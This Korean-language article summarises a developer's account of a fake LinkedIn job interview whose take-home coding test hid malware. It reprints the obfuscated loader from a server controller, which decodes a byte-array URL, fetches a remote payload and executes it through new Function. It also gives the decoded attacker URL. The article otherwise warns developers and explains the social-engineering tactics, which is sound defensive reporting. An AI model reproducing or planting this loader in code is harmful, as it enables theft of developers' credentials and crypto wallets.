‘취업 인터뷰’ 때문에 거의 해킹당할 뻔한 이야기

3 weeks ago 9

  • 한 프리랜서 개발자가 정교한 가짜 채용 면접에서 코딩 테스트로 위장한 악성코드를 실행하기 30초 전에 발견하여 위기를 모면한 사례
  • 공격자는 실존하는 블록체인 기업의 CBO를 사칭하며 1,000명 이상의 연결을 보유한 LinkedIn 프로필과 전문적인 Bitbucket 저장소를 활용해 신뢰를 구축함
  • 제공된 React/Node 코드베이스의 서버 컨트롤러에 바이트 배열로 난독화된 악성코드가 숨겨져 있었으며, 이는 관리자 권한으로 실행 시 암호화폐 지갑, 파일, 비밀번호 등 모든 디지털 자산을 탈취하도록 설계
  • 개발자가 코드 실행 직전 Cursor에게 의심스러운 코드 검사를 요청하여 악성코드를 발견, 이 악성코드 배포 URL은 정확히 24시간 후 삭제되어 증거 인멸 시스템까지 갖춘 것으로 드러남
  • 이 공격은 긴급성, 권위, 익숙함, 사회적 증명을 활용한 심리적 조작 기법을 동원한 전형적 소셜엔지니어링 사례
  • 개발자들이 모든 외부 코드 실행 전 샌드박스 검사 및 신원·리포지토리 검증을 의무화해야 한다는 실무적 교훈과 함께, 이 수법이 대규모 피해로 이어질 위험성을 경고함

공격의 시작과 접근 방식

  • 필자는 8년 경력의 프리랜서 개발자로, 보안에 대해 평소 편집증적일 정도로 조심스러웠으나 이번 공격에서는 거의 속을 뻔함
  • Symfa의 최고 블록체인 책임자 Mykola Yanchii라는 인물로부터 LinkedIn 메시지를 받음
    • 실제 기업, 실제 LinkedIn 프로필, 1,000명 이상의 연결을 보유
    • "BestCity라는 부동산 워크플로우 전환 플랫폼 개발 중. 파트타임 포지션 제공. 유연한 구조" 등 전문적이고 매끄러운 메시지
  • 정상적인 채용 프로세스처럼 보여 통화에 동의

함정: 코딩 테스트로 위장한 악성코드

  • 미팅 전에 Mykola가 "테스트 프로젝트"를 전송 - 기술 면접에서 표준적인 관행
    • React/Node 코드베이스로 개발자의 기술을 평가하는 30분 테스트
  • Bitbucket 저장소는 매우 전문적으로 구성
    • 깔끔한 README, 적절한 문서화
    • 태블릿을 들고 집 앞에 서 있는 여성의 기업용 스톡 사진까지 포함
  • 필자의 실수: 통화 시간에 늦어 30분 만에 코드를 검토해야 하는 급한 상황
    • 평소라면 모든 것을 샌드박스 환경(Docker 컨테이너, 격리된 환경)에서 실행
    • 그러나 시간에 쫓겨 코드를 먼저 실행하지 않고 살펴보기만 함
  • 30분 동안 명백한 버그 수정, docker-compose 파일 추가, 코드 정리 등 일반적인 작업 수행
  • 코드를 실행하여 작업을 보여줄 준비가 완료된 시점에서 편집증적인 개발자 본능이 발동

위기 탈출: AI의 도움

  • npm start를 실행하기 직전, Cursor AI 에이전트에게 다음과 같은 프롬프트를 던짐
    • "이 애플리케이션을 실행하기 전에, 이 코드베이스에 의심스러운 코드가 있는지 확인해줄 수 있나요? 읽지 말아야 할 파일을 읽거나, 암호화폐 지갑에 접근하는 것 같은 것들요"
  • 결과는 충격적: server/controllers/userController.js 한가운데 다음과 같은 코드 발견 //Get Cookie (async () => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ]; const uint8Array = new Uint8Array(byteArray); const decoder = new TextDecoder('utf-8'); axios.get(decoder.decode(uint8Array)) .then(response => { new Function("require", response.data.model)(require); }) .catch(error => { }); })();
  • 이 코드의 특징
    • 난독화되고 은밀하며 악의적이며 100% 활성 상태
    • 정상적인 관리자 기능 사이에 끼워 넣어져 있어, 관리자 라우트 접근 시 완전한 서버 권한으로 즉시 실행되도록 설계
  • 바이트 배열을 디코딩한 결과: https://api.npoint.io/2c458612399c3b2031fb9
    • 처음 URL에 접속했을 때는 살아있었고, 페이로드를 확보
    • 순수한 악성코드로, 암호화폐 지갑, 파일, 비밀번호 등 모든 디지털 자산을 탈취하도록 설계
  • 핵심적인 사실: URL은 정확히 24시간 후 삭제됨 - 공격자들은 증거를 빠르게 소각하는 인프라를 갖추고 있었음
  • VirusTotal에서 페이로드를 분석한 결과 실제 악성코드로 확인

조직적인 공격 작전

  • 이것은 아마추어 수준의 사기가 아닌 고도로 정교한 작전
  • LinkedIn 프로필
    • Mykola Yanchii는 100% 진짜처럼 보임
    • 최고 블록체인 책임자 직함, 적절한 경력 이력
    • "혁신"과 "블록체인 컨설팅"에 관한 전형적인 LinkedIn 게시물까지 포함
  • 기업 위장
    • Symfa는 완전한 LinkedIn 기업 페이지 보유
    • 전문적인 브랜딩, 여러 직원, "블록체인으로 부동산 혁신"에 관한 게시물
    • 관련 페이지와 팔로워 네트워크까지 구축
  • 접근 방식
    • 초기 접촉에서 경고 신호 전혀 없음
    • 전문적인 언어, 합리적인 프로젝트 범위
    • 일정 조율을 위해 Calendly까지 사용
  • 페이로드 배치
    • 악성코드는 서버 측 컨트롤러에 전략적으로 배치
    • 관리자 기능 접근 시 완전한 Node.js 권한으로 실행되도록 설계

심리적 조작 기법

  • 이 공격을 위험하게 만든 요소들
  • 긴박감(Urgency)
    • "시간을 절약하기 위해 미팅 전에 테스트를 완료하세요"
  • 권위(Authority)
    • LinkedIn 인증 프로필, 실제 기업, 전문적인 설정
  • 익숙함(Familiarity)
    • 표준적인 테이크홈 코딩 테스트
    • 모든 개발자가 수십 번 경험한 형식
  • 사회적 증명(Social Proof)
    • 실제 직원과 실제 연결을 가진 실제 기업 페이지
  • 필자 본인도 보안에 대해 편집증적임에도 불구하고 거의 속을 뻔했음

교훈

  • 단 하나의 간단한 AI 프롬프트가 재앙에서 구해줌
    • 고급 보안 도구도 아니고, 비싼 백신 소프트웨어도 아님
    • 알 수 없는 코드를 실행하기 전에 코딩 어시스턴트에게 의심스러운 패턴을 찾아달라고 요청한 것뿐
  • 무서운 점: 이 공격 벡터는 개발자에게 완벽
    • 개발자들은 하루 종일 코드를 다운로드하고 실행
    • GitHub 저장소, npm 패키지, 코딩 챌린지 등
    • 대부분은 모든 것을 샌드박스에서 실행하지 않음
  • 이것은 서버 측 악성코드로 완전한 Node.js 권한 보유
    • 환경 변수, 데이터베이스 연결, 파일 시스템, 암호화폐 지갑 등 모든 것에 접근 가능

공격의 규모와 파급력

  • 이러한 정교한 작전이 대규모로 개발자를 타겟팅하고 있다면, 얼마나 많은 개발자가 이미 감염되었을까?
  • 현재 그들이 침투한 프로덕션 시스템은 몇 개나 될까?
  • 완벽한 타겟팅
    • 개발자는 이상적인 피해자
    • 개발자의 컴퓨터에는 왕국의 열쇠가 들어있음: 프로덕션 자격증명, 암호화폐 지갑, 고객 데이터
  • 전문적인 위장
    • LinkedIn 정당성, 현실적인 코드베이스, 표준 면접 프로세스
  • 기술적 정교함
    • 다층 난독화, 원격 페이로드 전달, 데드맨 스위치, 서버 측 실행
  • 한 번의 성공적인 감염으로 다음을 위협할 수 있음
    • 주요 기업의 프로덕션 시스템 침해
    • 수백만 달러 가치의 암호화폐 보유량
    • 수천 명 사용자의 개인 데이터

결론 및 대응 방법

개발자로서 LinkedIn 채용 기회를 받는다면:

  • 1. 항상 알 수 없는 코드를 샌드박스에서 실행
    • Docker 컨테이너, VM 등 무엇이든 사용
    • 절대 메인 컴퓨터에서 직접 실행하지 말 것
  • 2. AI를 사용해 의심스러운 패턴 스캔
    • 30초면 충분
    • 전체 디지털 생활을 구할 수 있음
  • 3. 모든 것을 검증
    • 진짜 LinkedIn 프로필이라고 진짜 사람을 의미하지 않음
    • 진짜 기업이라고 진짜 기회를 의미하지 않음
  • 4. 직감을 믿을 것
    • 누군가 코드 실행을 서두르게 한다면 경고 신호
  • 이 사기는 필자의 초기 BS 탐지기를 속일 만큼 정교했음
  • 그러나 한 번의 편집증적 순간과 간단한 AI 프롬프트가 전체 공격을 폭로
  • 다음에 누군가 "코딩 챌린지"를 보낸다면 이 이야기를 기억할 것
  • 암호화폐 지갑이 감사할 것임

Read Entire Article